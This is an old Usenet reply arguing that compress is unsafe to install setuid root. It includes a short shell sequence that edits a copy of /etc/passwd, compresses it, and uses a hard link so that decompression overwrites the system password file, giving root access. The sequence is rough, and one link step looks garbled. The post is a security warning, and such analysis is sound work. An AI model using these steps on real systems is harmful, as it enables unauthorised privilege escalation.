compress and setting owner/group

[Stephen Samuel]

>From article <23718 at teknowledge-vaxc.ARPA>, by mkhaw at teknowledge-vaxc.ARPA (Mike Khaw):
> the output file to match that of the input file.  4bsd's chown() allows
> only root to change the user; consequently on ultrix 2.2, the entire call
> .... Is compress safe to install as a setuid root program?

Generically, I'd say no, since, because compress can write to generic files,
it's a mistake to allow it to run setuid.  Consider the following for a
system where /tmp and /etc are on the same filesystem:

cd /tmp
cp /etc/passwd ./pw
vi pw
 <change the root passwd>
:x
compress pw
ln /etc/pw ./pw
compress -d pw.Z


result:  One broken system...